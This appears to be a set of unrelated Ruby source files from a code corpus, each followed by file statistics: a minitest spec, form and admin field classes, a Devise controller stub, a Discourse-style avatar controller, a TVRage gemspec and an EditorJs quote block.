require 'minitest/autorun' require_relative '../lib/music_collection' class FakeTrack def to_s return 'Amin' end def bpm return '120' end end describe MusicCollection do let(:mc) { MusicCollection.new } it "should start empty" do assert_equal 0, mc.length assert_equal 0, mc.count_for['Amin'] end describe "#add_track" do it "should add a track" do mc.add_track(FakeTrack.new) assert_equal 1, mc.length assert_equal 1, mc.count_for['Amin'] end end end
17.233333
42
0.678917
4ae5b3db436f819e0eef0ef4f9dbf7289d8bd4f9
698
module Icy class Form class Input attr_reader :namespace, :key, :value, :messages, :options def initialize(namespace: nil, key:, value:, messages:, **options) @namespace = namespace @key = key @value = value @messages = messages @options = options end def identifier [namespace, key].compact.join("__") end # TODO: make this work for multi-level namespace def name if namespace "#{namespace}[#{key}]" else key end end def label options.fetch(:label) { key.capitalize } # TODO: make better, use inflections end end end end
21.151515
85
0.553009
627de7bf20fb8fe1b83558b367c97762a7fbfd6a
96
class Administrate::Field::ActionText < Administrate::Field::Base def to_s data end end
16
65
0.729167
3301252c4302cd3168f3b3a0f44870a97cf8023e
638
# frozen_string_literal: true module Users class UnlocksController < Devise::UnlocksController # GET /resource/unlock/new # def new # super # end # POST /resource/unlock # def create # super # end # GET /resource/unlock?unlock_token=abcdef # def show # super # end # protected # The path used after sending unlock password instructions # def after_sending_unlock_instructions_path_for(resource) # super(resource) # end # The path used after unlocking the resource # def after_unlock_path_for(resource) # super(resource) # end end end
19.333333
62
0.653605
39050be70bd8eef557e237b89ad982dc8de04489
5,746
require_dependency 'letter_avatar' class UserAvatarsController < ApplicationController skip_before_action :preload_json, :redirect_to_login_if_required, :check_xhr, :verify_authenticity_token, only: [:show, :show_letter, :show_proxy_letter] def refresh_gravatar user = User.find_by(username_lower: params[:username].downcase) guardian.ensure_can_edit!(user) if user hijack do user.create_user_avatar(user_id: user.id) unless user.user_avatar user.user_avatar.update_gravatar! gravatar = if user.user_avatar.gravatar_upload_id { gravatar_upload_id: user.user_avatar.gravatar_upload_id, gravatar_avatar_template: User.avatar_template(user.username, user.user_avatar.gravatar_upload_id) } else { gravatar_upload_id: nil, gravatar_avatar_template: nil } end render json: gravatar end else raise Discourse::NotFound end end def show_proxy_letter is_asset_path if SiteSetting.external_system_avatars_url !~ /^\/letter_avatar_proxy/ raise Discourse::NotFound end params.require(:letter) params.require(:color) params.require(:version) params.require(:size) hijack do identity = LetterAvatar::Identity.new identity.letter = params[:letter].to_s[0].upcase identity.color = params[:color].scan(/../).map(&:hex) image = LetterAvatar.generate(params[:letter].to_s, params[:size].to_i, identity: identity) response.headers["Last-Modified"] = File.ctime(image).httpdate response.headers["Content-Length"] = File.size(image).to_s immutable_for(1.year) send_file image, disposition: nil end end def show_letter is_asset_path params.require(:username) params.require(:version) params.require(:size) no_cookies return render_blank if params[:version] != LetterAvatar.version hijack do image = LetterAvatar.generate(params[:username].to_s, params[:size].to_i) response.headers["Last-Modified"] = File.ctime(image).httpdate response.headers["Content-Length"] = File.size(image).to_s immutable_for(1.year) send_file image, disposition: nil end end def show is_asset_path # we need multisite support to keep a single origin pull for CDNs RailsMultisite::ConnectionManagement.with_hostname(params[:hostname]) do hijack do show_in_site(params[:hostname]) end end end protected def show_in_site(hostname) username = params[:username].to_s return render_blank unless user = User.find_by(username_lower: username.downcase) upload_id, version = params[:version].split("_") version = (version || OptimizedImage::VERSION).to_i return render_blank if version != OptimizedImage::VERSION upload_id = upload_id.to_i return render_blank unless upload_id > 0 size = params[:size].to_i return render_blank if size < 8 || size > 1000 if !Discourse.avatar_sizes.include?(size) && Discourse.store.external? closest = Discourse.avatar_sizes.to_a.min { |a, b| (size - a).abs <=> (size - b).abs } avatar_url = UserAvatar.local_avatar_url(hostname, user.username_lower, upload_id, closest) return redirect_to cdn_path(avatar_url) end upload = Upload.find_by(id: upload_id) if user&.user_avatar&.contains_upload?(upload_id) upload ||= user.uploaded_avatar if user.uploaded_avatar_id == upload_id if user.uploaded_avatar && !upload avatar_url = UserAvatar.local_avatar_url(hostname, user.username_lower, user.uploaded_avatar_id, size) return redirect_to cdn_path(avatar_url) elsif upload && optimized = get_optimized_image(upload, size) if optimized.local? optimized_path = Discourse.store.path_for(optimized) image = optimized_path if File.exists?(optimized_path) else return proxy_avatar(Discourse.store.cdn_url(optimized.url), upload.created_at) end end if image response.headers["Last-Modified"] = File.ctime(image).httpdate response.headers["Content-Length"] = File.size(image).to_s immutable_for 1.year send_file image, disposition: nil else render_blank end rescue OpenURI::HTTPError render_blank end PROXY_PATH = Rails.root + "tmp/avatar_proxy" def proxy_avatar(url, last_modified) if url[0..1] == "//" url = (SiteSetting.force_https ? "https:" : "http:") + url end sha = Digest::SHA1.hexdigest(url) filename = "#{sha}#{File.extname(url)}" path = "#{PROXY_PATH}/#{filename}" unless File.exist? path FileUtils.mkdir_p PROXY_PATH tmp = FileHelper.download( url, max_file_size: 1.megabyte, tmp_file_name: filename, follow_redirect: true, read_timeout: 10 ) FileUtils.mv tmp.path, path end response.headers["Last-Modified"] = last_modified.httpdate response.headers["Content-Length"] = File.size(path).to_s immutable_for(1.year) send_file path, disposition: nil end # this protects us from a DoS def render_blank path = Rails.root + "public/images/avatar.png" expires_in 10.minutes, public: true response.headers["Last-Modified"] = Time.new('1990-01-01').httpdate response.headers["Content-Length"] = File.size(path).to_s send_file path, disposition: nil end protected # consider removal of hacks some time in 2019 def get_optimized_image(upload, size) return if !upload upload.get_optimized_image(size, size, allow_animation: SiteSetting.allow_animated_avatars) # TODO decide if we want to detach here end end
29.772021
155
0.690741
084a24babbac7fa5ca78e6a15102a7bd8deec76e
3,878
# Generated by jeweler # DO NOT EDIT THIS FILE DIRECTLY # Instead, edit Jeweler::Tasks in Rakefile, and run 'rake gemspec' # -*- encoding: utf-8 -*- Gem::Specification.new do |s| s.name = "sofa" s.version = "0.1.4" s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= s.authors = ["Henry Hsu"] s.date = "2013-01-22" s.description = "A simple Ruby library for the TVRage API." s.email = "[email protected]" s.extra_rdoc_files = [ "LICENSE", "README.md" ] s.files = [ ".document", ".yardopts", "LICENSE", "README.md", "Rakefile", "doc/Sofa.html", "doc/Sofa/Mapping.html", "doc/Sofa/Mapping/ClassMethods.html", "doc/Sofa/Mapping/InstanceMethods.html", "doc/Sofa/TVRage.html", "doc/Sofa/TVRage/Episode.html", "doc/Sofa/TVRage/Schedule.html", "doc/Sofa/TVRage/Season.html", "doc/Sofa/TVRage/Show.html", "doc/Sofa/TVRage/Show/ShowNotFound.html", "doc/Sofa/Version.html", "doc/_index.html", "doc/class_list.html", "doc/css/common.css", "doc/css/full_list.css", "doc/css/style.css", "doc/file.README.html", "doc/file_list.html", "doc/index.html", "doc/js/app.js", "doc/js/full_list.js", "doc/js/jquery.js", "doc/method_list.html", "doc/top-level-namespace.html", "lib/sofa.rb", "lib/sofa/mapping.rb", "lib/sofa/tvrage.rb", "lib/sofa/tvrage/episode.rb", "lib/sofa/tvrage/schedule.rb", "lib/sofa/tvrage/season.rb", "lib/sofa/tvrage/show.rb", "lib/sofa/version.rb", "sofa.gemspec", "spec/fixtures/tvrage/cases/castle.xml", "spec/fixtures/tvrage/cases/community.xml", "spec/fixtures/tvrage/cases/live_with_regis_and_kelly.xml", "spec/fixtures/tvrage/episode_info.xml", "spec/fixtures/tvrage/episode_list.xml", "spec/fixtures/tvrage/episode_list_one_season.xml", "spec/fixtures/tvrage/episode_list_two_episodes.xml", "spec/fixtures/tvrage/full_schedule.xml", "spec/fixtures/tvrage/full_show_info.xml", "spec/fixtures/tvrage/quickinfo.html", "spec/fixtures/tvrage/quickinfo_missing.html", "spec/fixtures/tvrage/search.xml", "spec/fixtures/tvrage/show_info.xml", "spec/fixtures/tvrage/show_info_blank.xml", "spec/fixtures/tvrage/single_episode.xml", "spec/sofa/mapping_spec.rb", "spec/sofa/tvrage/cases_spec.rb", "spec/sofa/tvrage/episode_spec.rb", "spec/sofa/tvrage/schedule_spec.rb", "spec/sofa/tvrage/season_spec.rb", "spec/sofa/tvrage/show_spec.rb", "spec/sofa/version_spec.rb", "spec/sofa_spec.rb", "spec/spec.opts", "spec/spec_helper.rb" ] s.homepage = "http://github.com/hsume2/sofa" s.require_paths = ["lib"] s.rubygems_version = "1.8.24" s.summary = "A Ruby library for the TVRage API." if s.respond_to? :specification_version then s.specification_version = 3 if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then s.add_runtime_dependency(%q<httparty>, [">= 0"]) s.add_runtime_dependency(%q<crack>, [">= 0"]) s.add_development_dependency(%q<rspec>, [">= 1.2.9"]) s.add_development_dependency(%q<mocha>, [">= 0"]) s.add_development_dependency(%q<fakeweb>, [">= 0"]) s.add_development_dependency(%q<yard>, [">= 0"]) else s.add_dependency(%q<httparty>, [">= 0"]) s.add_dependency(%q<crack>, [">= 0"]) s.add_dependency(%q<rspec>, [">= 1.2.9"]) s.add_dependency(%q<mocha>, [">= 0"]) s.add_dependency(%q<fakeweb>, [">= 0"]) s.add_dependency(%q<yard>, [">= 0"]) end else s.add_dependency(%q<httparty>, [">= 0"]) s.add_dependency(%q<crack>, [">= 0"]) s.add_dependency(%q<rspec>, [">= 1.2.9"]) s.add_dependency(%q<mocha>, [">= 0"]) s.add_dependency(%q<fakeweb>, [">= 0"]) s.add_dependency(%q<yard>, [">= 0"]) end end
33.145299
105
0.638731
4ab88e9137c7cd9c4acca669a8a7e653e535c995
1,634
# frozen_string_literal: true module EditorJs module Blocks # quote block class QuoteBlock < Base def schema YAML.safe_load(<<~YAML) type: object additionalProperties: false properties: text: type: string caption: type: string alignment: type: string YAML end def render(_options = {}) text = data['text'].html_safe caption = data['caption'].presence&.html_safe content_tag :div, class: css_name do html_str = content_tag :div, text, class: "#{css_name}__text" html_str << content_tag(:div, caption, class: "#{css_name}__caption") if caption html_str end end def safe_tags { 'b' => nil, 'i' => nil, 'u' => ['class'], 'del' => ['class'], 'a' => ['href'], 'mark' => ['class'], 'code' => ['class'], 'br' => nil } end def sanitize! %w[text caption].each do |key| data[key] = Sanitize.fragment( data[key], elements: safe_tags.keys, attributes: safe_tags.select { |_k, v| v }, remove_contents: false ) end data['alignment'] = Sanitize.fragment(data['alignment'], remove_contents: true) end def plain string = [ Sanitize.fragment(data['text']).strip, Sanitize.fragment(data['caption']).strip ].join(', ') decode_html(string) end end end end
24.38806
90
0.490208